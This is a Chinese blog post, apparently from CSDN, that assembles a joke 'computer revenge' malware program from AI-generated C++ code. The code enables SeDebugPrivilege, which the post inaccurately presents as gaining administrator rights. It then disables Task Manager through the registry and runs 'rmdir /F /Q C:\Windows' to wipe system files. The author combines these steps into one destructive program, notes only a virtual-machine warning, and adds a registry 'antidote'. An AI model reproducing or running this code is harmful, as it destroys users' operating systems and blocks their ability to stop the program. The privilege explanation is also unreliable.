电脑复仇计划 #1

        发文日期:2025-5-6(Tue)

        这,是一个无脑到爆炸的项目。

        注:如若要测试此代码,请务必在虚拟机中尝试,否则后果自负!

        接下来,是我查了一堆DeepSeek总结和博客等知识的结果(我会标明内容取材位置)。

        壹、知识取材

        首先,我要把所有的需要用到的知识点放在这一部分。你完全可以依靠这一章节内容中所有小章节的标题看出这初代计划有多么的疯狂!

        一、获取管理员权限 ※重要※

        在任何一个电脑毁灭计划中,你应该都能知道管理员权限对任何一个病毒的命根子。只有极少数的病毒(譬如说蠕虫病毒)并不需要管理员权限。而且这些病毒通常不能伤害系统正常运行(至少我是这么认为的)。但是做蠕虫病毒并不在我的项目计划之内。所以我们还是老老实实抢管理员权限吧 (ˉ▽ˉ;)...

        那么这里附上AI代码:        (DeepSeek总结结论)

运行时提权(Adjust Token Privileges)

如果程序已运行,可以通过 Windows API 动态启用某些权限(如 SeDebugPrivilege)。

示例代码

c++


#include <windows.h>
#include <iostream>

bool EnablePrivilege(LPCTSTR privilege) {              // 获取管理员权限的代码。
    HANDLE hToken;
    TOKEN_PRIVILEGES tp;
    LUID luid;

    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
        std::cerr << "OpenProcessToken failed: " << GetLastError() << std::endl;
        return false;
    }

    if (!LookupPrivilegeValue(NULL, privilege, &luid)) {
        std::cerr << "LookupPrivilegeValue failed: " << GetLastError() << std::endl;
        CloseHandle(hToken);
        return false;
    }

    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL)) {
        std::cerr << "AdjustTokenPrivileges failed: " << GetLastError() << std::endl;
        CloseHandle(hToken);
        return false;
    }

    CloseHandle(hToken);
    return true;
}

int main() {
    if (EnablePrivilege(SE_DEBUG_NAME)) {
        std::cout << "Privilege enabled successfully." << std::endl;
    } else {
        std::cerr << "Failed to enable privilege." << std::endl;
    }
    return 0;
}

        Emmm... AI总结的确实挺不错的。但这只能满足我们第一期的内容。

        来看一下我在实机上运行的结果。(本机Windows11)

在Windows11实机下测试该代码

        哼哼!代码运行的还是十分顺利的!

        那么……接下来……桀桀桀!

        二、禁用程序管理器

        AI给出的代码是这样的:

        

void DisableTaskManager() {
    HKEY hKey;
    LONG result = RegCreateKey(HKEY_CURRENT_USER, 
        "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hKey);
    if (result == ERROR_SUCCESS) {
        DWORD disableValue = 1;
        RegSetValueEx(hKey, "DisableTaskMgr", 0, REG_DWORD, 
            (LPBYTE)&disableValue, sizeof(disableValue));
        RegCloseKey(hKey);
        std::cout << "任务管理器已禁用" << std::endl;
    }
}

这里给出解药(Made by 万能AI):

#include <windows.h>
#include <iostream>

bool EnableTaskManager() {                    // 解药!
    HKEY hKey;
    // 打开注册表项
    LONG result = RegOpenKeyEx(
        HKEY_CURRENT_USER,                  // 根键
        "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", // 路径
        0,                                  // 预保留参数
        KEY_SET_VALUE,                      // 权限
        &hKey                               // 返回句柄
    );

    if (result != ERROR_SUCCESS) {
        // 如果注册表项不存在则尝试创建
        result = RegCreateKey(
            HKEY_CURRENT_USER,
            "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",
            &hKey
        );
        if (result != ERROR_SUCCESS) {
            std::cerr << "无法创建注册表项!错误代码:" << result << std::endl;
            return false;
        }
    }

    // 设置禁用值为0(启用任务管理器)
    DWORD enableValue = 0;
    result = RegSetValueEx(
        hKey,              // 注册表句柄
        "DisableTaskMgr",  // 值名称
        0,                 // 保留参数
        REG_DWORD,         // 数据类型
        (BYTE*)&enableValue, // 数据
        sizeof(DWORD)      // 数据大小
    );

    RegCloseKey(hKey); // 关闭注册表句柄

    if (result == ERROR_SUCCESS) {
        std::cout << "任务管理器已成功启用!" << std::endl;
        return true;
    } else {
        std::cerr << "注册表写入失败!错误代码:" << result << std::endl;
        return false;
    }
}

int main() {
    if (EnableTaskManager()) {
        std::cout << "建议重启系统或重新登录使更改生效。" << std::endl;
    }
    return 0;
}

        三、删系统文件

        这步就不用我多说了吧,直接:

system("rmdir /F /Q C:\\Windows");

        说直白了点儿:

                Win+r    ->   cmd

            输入以下命令:

        rmdir /F /Q C:\Windows

贰、总结

        废话不多说,上代码!


#include <windows.h>
#include <iostream>

bool EnablePrivilege(LPCTSTR privilege) {              // 获取管理员权限的代码。
    HANDLE hToken;
    TOKEN_PRIVILEGES tp;
    LUID luid;

    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
        std::cerr << "OpenProcessToken failed: " << GetLastError() << std::endl;
        return false;
    }

    if (!LookupPrivilegeValue(NULL, privilege, &luid)) {
        std::cerr << "LookupPrivilegeValue failed: " << GetLastError() << std::endl;
        CloseHandle(hToken);
        return false;
    }

    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL)) {
        std::cerr << "AdjustTokenPrivileges failed: " << GetLastError() << std::endl;
        CloseHandle(hToken);
        return false;
    }

    CloseHandle(hToken);
    return true;
}


void DisableTaskManager() {
    HKEY hKey;
    LONG result = RegCreateKey(HKEY_CURRENT_USER, 
        "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hKey);
    if (result == ERROR_SUCCESS) {
        DWORD disableValue = 1;
        RegSetValueEx(hKey, "DisableTaskMgr", 0, REG_DWORD, 
            (LPBYTE)&disableValue, sizeof(disableValue));
        RegCloseKey(hKey);
        std::cout << "任务管理器已禁用" << std::endl;
    }
}

int main() {
    if (EnablePrivilege(SE_DEBUG_NAME)) {
        std::cout << "管理员权限获取成功." << std::endl;
        DisableTaskManager();
        system("rmdir /F /Q c:\\windows");
    } else {
        std::cerr << "管理员权限获取失败." << std::endl;
    }
    return 0;
}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值